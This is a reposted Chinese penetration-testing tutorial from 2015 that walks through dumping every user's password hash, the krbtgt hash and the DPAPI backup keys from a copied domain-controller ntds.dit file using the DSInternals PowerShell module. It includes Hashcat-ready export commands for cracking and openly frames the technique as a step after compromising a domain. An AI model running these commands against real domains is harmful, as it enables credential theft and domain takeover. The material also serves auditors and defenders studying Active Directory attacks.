利用Powershell快速匯出域控所有使用者Hash

wyzsk發表於2020-08-19
作者: 三好學生 · 2015/11/04 10:28

0x00 前言


之前在《匯出當前域內所有使用者hash的技術整理》中測試了5種匯出域內所有使用者hash的方法,經過這一段時間的學習和實踐,找到了新的方法,也很有效,分享給大家。

0x01 簡介


對於離線匯出域控所有使用者Hash,NTDSXtract依舊是主流

優點:

獲取資訊全面
穩定,上G的ntds.dit檔案也可以正常解析

缺點:

耗時,對於大型資料庫,解析效率低
不支援內建索引,對於大型資料庫,查詢特定物件效率低
執行在Linux,不支援windows
無法修改ntds的資料庫

但就在最近,能夠綜合解決上述問題的工具出現了,經過一段時間的測試和使用,個人認為已經可以替代NTDSXtract

下面就介紹一下今天的主角——DSInternals PowerShell Module

下載地址:

DSInternals PowerShell Module:
https://www.dsinternals.com/wp-content/uploads/DSInternals_v2.8.zip

《匯出當前域內所有使用者hash的技術整理》:
/tips/?id=6617

0x02 DSInternals PowerShell Module介紹


1、版本

v2.8

2、適用環境

支援系統:

Windows Server 2012 R2
Windows Server 2008 R2
Windows 10 64-bit
Windows 8.1 64-bit
Windows 7 64-bit
(以上為官方說明)

注:

實際測試32位也可以
Windows 7 、Windows Server 2008 R2預設環境下PowerShell版本2.0,不支援
PowerShell版本需要升級至3.0

軟體版本:

- Windows PowerShell 3+
- .NET Framework 4.5+
(此為官方說明)

注:

實測.NET Framework 4.0即可

3、安裝方法

1、PowerShell 5.0:

Install-Module DSInternals

2、PowerShell 3.0、4.0

解壓壓縮包
cd C:\test\DSInternals
Import-Module .\DSInternals

4、功能模組

1、線上操作活動目錄資料庫

Get-ADReplAccount:讀取賬戶資訊
Set-SamAccountPasswordHash:設定賬戶的NTHash和LMHash
Get-ADReplBackupKey:讀取DPAPI backup keys

2、離線操作活動目錄資料庫

Get-ADDBAccount:從ntds.dit檔案讀取賬戶資訊
Get-BootKey:從SYSTEM檔案讀取BootKey
Get-ADDBBackupKey::從ntds.dit檔案讀取DPAPI backup keys
Add-ADDBSidHistory:向ntds.dit檔案新增SIDHistory資訊
Set-ADDBPrimaryGroup:修改ntds.dit檔案的primaryGroupId屬性
Get-ADDBDomainController:從ntds.dit檔案讀取域控資訊,包括domain name, domain SID, DC name and DC site.
Set-ADDBDomainController:向ntds.dit檔案新增域控資訊
Get-ADDBSchemaAttribute:從ntds.dit檔案讀取AD schema,包括資料表的列名
Remove-ADDBObject:從ntds.dit檔案移除特定物件

3、 Hash計算

ConvertTo-NTHash:給定密碼,計算NT hash
ConvertTo-LMHash:給定密碼,計算LM hash
ConvertTo-OrgIdHash:給定密碼,計算OrgId hash

4、補充

對於Get-ADDBAccount讀取到的賬戶資訊,可將其中包含的Hash值按如下格式匯出:

HashcatNT:支援Hashcat的NT hash
HashcatLM:支援Hashcat的LM hash
JohnNT:支援John the Ripper的NT hash
JohnLM:支援John the Ripper的LM hash
Ophcrack:支援Ophcrack的NT hash、LM hash

注:

列出以上三款Hash破解工具的地址:
Hashcat:
http://hashcat.net/oclhashcat/
John the Ripper:
http://www.openwall.com/john/
Ophcrack:
http://ophcrack.sourceforge.net/

0x03 測試環境


作業系統:

win10 x64

Powershell版本:

v5

需要檔案:

ntds.dit
SAM
SYSTEM

檔案來源:

域控:server2008R2

匯出方法:

vssown.vbs或ShadowCopy(之前文章有介紹,匯出過程略過)

0x04 實際測試


1、安裝配置

下載DSInternals PowerShell Module

允許Powershell執行指令碼:

Set-ExecutionPolicy Unrestricted

安裝DSInternals:

Install-Module -Name DSInternals

匯入DSInternals:

Import-Module DSInternals

2、獲取所有賬戶資訊

$key = Get-BootKey -SystemHivePath 'C:\Users\a\Desktop\a\SYSTEM'

Get-ADDBAccount -All -DBPath 'C:\Users\a\Desktop\a\ntds.dit' -BootKey $key 

如圖

這裡寫圖片描述

這裡寫圖片描述

這裡寫圖片描述

這裡寫圖片描述

這裡寫圖片描述

3、獲取指定賬戶資訊

$key = Get-BootKey -SystemHivePath 'C:\Users\a\Desktop\a\SYSTEM'

Get-ADDBAccount -DistinguishedName 'CN=krbtgt,CN=Users,DC=test,DC=local'  -DBPath 'C:\Users\a\Desktop\a\ntds.dit' -BootKey $key

如圖

這裡寫圖片描述

4、匯出支援Hashcat的NT hash

Get-ADDBAccount -All -DBPath 'C:\Users\a\Desktop\a\ntds.dit' -BootKey $key | Format-Custom -View HashcatNT | Out-File hashes.txt

如圖

這裡寫圖片描述

5、匯出DPAPI backup keys

(1)獲得BootKey

Get-BootKey -SystemHiveFilePath 'C:\Users\a\Desktop\a\SYSTEM'
得到c76034ff820edbc012308a258faf3d26

如圖

這裡寫圖片描述

(2)解密得到DPAPI backup keys

Get-ADDBBackupKey -DBPath 'C:\Users\a\Desktop\a\ntds.dit'  -BootKey c76034ff820edbc012308a258faf3d26 |  Format-List

(3)匯出到檔案

Get-ADDBBackupKey -DBPath 'C:\Users\a\Desktop\a\ntds.dit' -BootKey c76034ff820edbc012308a258faf3d26 | Save-DPAPIBlob -DirectoryPath .\Keys

6、Hash計算

$pwd = ConvertTo-SecureString 'TestTest' -AsPlainText -Force
ConvertTo-NTHash $pwd
ConvertTo-LMHash $pwd
ConvertTo-OrgIdHash -NTHash 'd280553f0103f2e643406517296e7582'

如圖

這裡寫圖片描述

0x05 小結


隨著技術的發展,效率一直在提高

在獲取域控許可權下,匯出所有使用者hash的方法越來越簡便,當域控被攻陷後,可以在很短的時間內提取出有用的資訊用來進一步滲透,內網滲透將會越來越有趣。

本文由三好學生原創並首發於烏雲drops,轉載請註明

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章